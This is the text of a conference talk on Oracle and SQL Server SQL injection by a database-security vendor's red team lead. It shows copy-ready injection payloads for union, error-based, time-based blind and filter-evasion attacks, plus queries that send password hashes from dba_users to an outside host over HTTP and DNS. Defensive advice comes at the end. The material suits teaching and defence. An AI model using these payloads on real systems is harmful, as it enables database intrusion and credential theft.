Advanced SQL Injection Techniques

Roy Fox
Red Team Manager, Sentrigo
About me

- Head of Security Research (Red Team) at Sentrigo
- Background: technical information security for gov’t
- At Sentrigo we write Virtual Patches for 0day, known, and patched vulnerabilities in Oracle and other RDBMSs
Agenda

- Describe SQL Injection
- What's unique about Oracle
- Identifying SQL Injection in web applications
- Exploiting SQL Injection
  • In-band
  • Out-of-band
  • Blind
- Advanced Techniques
- Protecting against SQL injection
A technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.
Breach Example - Heartland

- 4 or more criminals (one previously convicted in TJX and many more hacks) hacked into outward facing application using SQL Injection
- Used backend SQL server to take control of other systems
- Found workstation with VPN connection open to payment systems
- Result: estimated 130 million credit and debit card numbers stolen from databases
- Could it be stopped?
SQL Injection

- Exists in any layer of any application
- C/S and Web Applications
- Stored program units
  - Built in
  - User created
- Has many forms
- Extra queries, unions, order by, sub selects
Simple Example

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '", username, "', password = '", password, "' and password = '", password, "');

username = '", username, "' or 1=1 --"
No stacked queries

- Cannot add "; do something nasty"

```sql
select * from AdventureWorks.HumanResources.Employee where EmployeeID = 1;
EXEC master.dbo.xp_sendmail
    @recipients=N'royf@sentrigo.com',
    @query = N'select user, password from sys.syslogins where password is not null' ;
```

- Unless you get really lucky to be injected into PL/SQL
Native error messages are not controlled

- SQL Server

```
select * from users where username = ''
    having 1=1 -- and password = ''
```

Msg 8120, Level 16, State 1, Line 1

Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
What's Unique About Oracle - III

- No easy way to escape DB to OS
  - No convenient xp_cmdshell
- No easy way to do time based blind SQL injection (more later)
  - No convenientWAITFOR DELAY
- Although very large attack surface, very hard to take advantage from within SELECT statements
Identifying SQL Injection - Web

- Find a target via Google ("Google dorks")
  - ociparse, ociexecute, OCISmtmExecute
  - ORA-01756, 907, 933, 917, 900, 903, 906, 923, 970, 1742, 1789
  - Oracle+JDBC+Driver
  - inurl:/pls/portal30
- Web application security scanner (Acunetix, Pangolin, SQLMap)
- Manually
  - Pass in '
SQL Injection Types

- **In band** – Use injection to return extra data
  - Part of normal result set (unions)
  - In error messages

- **Out of band** – Use alternative route like UTL_HTTP, DNS to extract data

- **Blind / Inference** – No data is returned but the hacker is able to infer the data using return codes, error codes, timing measurements and more
In the previous example pass username as 
```
'' and 1=0 union select banner from v$version
where rownum = 1 --
```  

So the statement becomes 
```
select * from user_details where user_name = '' and 1=0 union select banner from v$version where rownum = 1 --' and password = ''
```  

Find number of columns by adding nulls to the column list or by using order by #
SQL Injection In-Band – Errors - 1

SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
localhost

SQL> select utl_inaddr.get_host_name((select
username||'='||password
from dba_users where rownum=1)) from dual;
select utl_inaddr.get_host_name((select
username||'='||password from dba_users where rownum=1))
from dual
*
ERROR at line 1:
ORA-29257: host SYS=8A8F025737A9097A unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
SQL Injection In-Band – Errors - II

- `utl_inaddr.get_host_name` is blocked by default on newer databases
- Many other options
  - `dbms_aw_xml.readawmetadatadata`
  - `ordsys.ord_dicom.getmappingxpath`
  - `ctxsys.drithsx.sn`

' `or dbms_aw_xml.readawmetadatadata((select sys_context('USERENV', 'SESSION_USER') from dual), null) is null` --
SQL Injection Out-of-band - I

- Send information via HTTP to an external site via `HTTPURI`

```sql
select HTTPURITYPE('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1) ).getclob() from dual;
```

- Send information via HTTP to an external site via `utl_http`

```sql
select utl_http.request ('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1)) from dual;
```
SQL Injection Out-of-band - II

- Send information via DNS (max. 64 bytes) to an external site

```sql
select utl_http.request ('http://www.'||(select password
from dba_users where rownum=1)||'.sentrigo.com/ ' )
from dual;
```

DNS-Request:
www.8A8F025737A9097A.sentrigo.com
Blind SQL Injection - I

- A guessing game
- Binary results – either our guess is true or it is false
- Requires many more queries
  - Time consuming and resource consuming
  - Can benefit from parallelizing
  - Must be automated
Blind SQL Injection - II

Pseudo-Code:
If the first character of the sys-hashkey is 'A' then
select count(*) from all_objects,all_objects
else
select count(*) from dual
end if;
Either use decode or case statements

Customary used with short or long queries since `dbms_lock.sleep` is not a function

Can be used with functions that receive a timeout like `dbms_pipe.receive_message`

```plaintext
' or 1 = case when substr(user, 1, 1) = 'S'
  then dbms_pipe.receive_message('kuku', 10)
  else 1 end --

' or 1 = decode(substr(user, 1, 1) = 'S',
  dbms_pipe.receive_message ('kuku', 10), 1)
```
Advanced Techniques – Evasion - I

- Concatenation
  `' or dbms_aw_xml.readawmetadata((select sys_context('USERENV', 'SESSION_USER') from dual), null) is null --`

- Changing case
  `' or dbMS_aW_xMl.readAwmetaData((select SYS_CONTEXT('US' || 'ERENV', 'SESS' || 'ION_US' || 'ER') from dual), null) is null --`

- Using alternative functions
  - Instead of UTL_INADDR
  - dbms_aw_xml.readawmetadata
  - ordsys.ord_dicom.getmappingxpath
  - ctxsys.drithsx.sn
Advanced Techniques – Evasion - II

- Conversions
  - Translate

```sql
begin
    dbms_output.put_line(translate('userenv','qwertyuiopasdfghjk1zxcvbnm().,0123456789|;[]''','
    (mnbvcxzlkjhgfdsapoiuytrewq~'));end;
```

- CHR

```sql
' or dbms_aw_xml.readawmetadata((select sys_context(chr(85)||
    chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||chr(86), chr(68)||
    chr(66)||chr(95)||chr(78)||chr(65)||chr(77)||chr(69)) from
dual), null) is null --
```

- Base64

```sql
dbms_output.put_line(utl_encode.text_encode('userenv',
    'WE8ISO8859P1', UTL_ENCODE.BASE64));end;
dXNlcmVudg==
```
Advanced Techniques – Evasion - III

- Comments instead of spaces
  ```sql
  '/* */or/**/dbms_aw_xml.readawmetadata((select/**/*sys_context
  t(chr(85))||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||
  chr(86),chr(68)||chr(66)||chr(95)||chr(78)||chr(65)||
  chr(77)||chr(69))/**/from/**/dual),null)/**/is/**/null--
  ```

- Randomization
  - All of the above techniques used in random
Combining multiple rows into one result

- STRAGG – available from 11g, sometimes available as a custom function in earlier versions. Be careful as the implementation seems to be buggy and can crash your session.

' or dbms_aw_xml.readawmetadata((select sys.stragg(username || ',') from all_users), null) is null --
Combining multiple rows into one result

- XML

' or dbms_aw_xml.readawmetadatad((select xmltransform
(sys_xmlagg(sys_xmlgen(username)),xmltype('<!--xml
version="1.0"?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:tem
plate match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of
select="text()"/>
</xsl:for-each></xsl:template></xsl:stylesheet>')).getstringval()
listagg from all_users), null) is null --
Combining multiple rows into one result

- Connect By

```
' or dbms_aw_xml.readawmetadata((SELECT SUBSTR(
SYS_CONNECT_BY_PATH (username, ';'), 2) csv FROM (SELECT
username , ROW_NUMBER() OVER (ORDER BY username ) rn,
COUNT (*) OVER () cnt FROM all_users) WHERE rn = cnt
START WITH rn = 1 CONNECT BY rn = PRIOR rn + 1
), null) is null --
```
Defense - Developers

- Use **static SQL** – 99% of web applications should never use dynamic statements
- Use **bind** variables – where possible
- Always **validate** user/database input for dynamic statements (dbms_assert)
- Be extra careful with dynamic statements - get 3 people who do not like you to **review and approve** your code
- Use **programmatic frameworks** that encourage (almost force) bind variables
  - For example: Hibernate (Java O/R mapping)
- Database schema for your application should have minimal privileges
Defense - Managers

- Setup secure coding policies for the different languages
- Make the coding policies part of every contract – external and internal
- Default document for all developers
Defense - Awareness

- Think like a hacker
  - Learn about exploits
  - Always look for security issues
    - Configuration, permissions, bugs

- Learn and use available tools
  - SQLMap, Pangolin, Matrixay, darkOraSQLi.py, SQLPowerInjector, mod_security, OAK, bfora.pl, checkpwd, orabf, nmap, tnsprobe, WinSID, woraauthbf, tncmd, Inguma, Metasploit, Wireshark, Hydra, Cryptool, etc.
Defense - Hedgehog

- Try the Hedgehog
  - http://www.sentrigo.com
    - Virtual patching
    - SQL Injection protection
    - Fine grain auditing
    - Centralized management
    - More…
Questions?